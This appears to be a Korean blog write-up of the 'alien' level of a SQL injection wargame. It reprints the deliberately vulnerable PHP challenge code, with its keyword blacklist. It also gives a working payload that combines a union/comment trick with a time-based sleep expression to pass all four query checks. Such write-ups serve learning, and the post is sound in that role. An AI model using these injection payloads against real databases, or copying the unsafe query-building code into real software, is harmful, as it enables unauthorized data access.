반응형

alien

 

 

쿼리가 2개다.

 

query : select id from prob_alien where no=


 


query2 : select id from prob_alien where no=''

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i'$_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'!== "admin"exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'=== "admin"exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin"exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'=== "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>
cs

 

음?

 

query와 query2의 차이는 no= 다음에 ''가 있냐 없냐의 차이

 

query를 실행해서 나온 id가 admin이 아니면 죽고, admin이어도 죽는다.

query2를 실행해서 나온 id가 admin이면 죽고, admin이면 문제가 풀린다.

 

 

.................................? 뭘까?

 

50%확률로 admin을 return하면 되는 것일까..

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

query와 query2를 모두 동일한 명령으로 만드는 법:

 

 

?no=1 union select 1#' union select '1

 

 

query : select id from prob_alien where no=1 union select 1#' union select '1

query2 : select id from prob_alien where no='1 union select 1#' union select '1'

 

query에서는 #앞에가 실행되고, 뒤는 주석처리

query2에서는 #이 ''안의 문자열로 취급, 뒤 실행

 

 

 

 

?no=1%20union%20select%20concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%27%20union%20select%20concat(lower(hex(9%2b(!sleep(1)%26%26now()%2=1))),%200x646d696e)%23%20

현재 시간에 따라 0이 될 수도 있고 1이 될 수도 있고 이를 이용

시간으로 admin을 내보낼지 bdmin을 내보낼지를 정함.

sleep(1)을 사용하여 처음에 admin이 되면 다음은 무조건 bdmin이 되도록.

 

 

 

ALIEN Clear!

 

 

문제들이 너무 어렵다. 풀이 참고하면서 이런 기법들도 있구나 하고 알아가는 정도로 넘어가야 겠다..ㅠㅠ

처음 내가 생각했던 방향과 얼마나 일치하는지도 보고,,,

반응형

+ Recent posts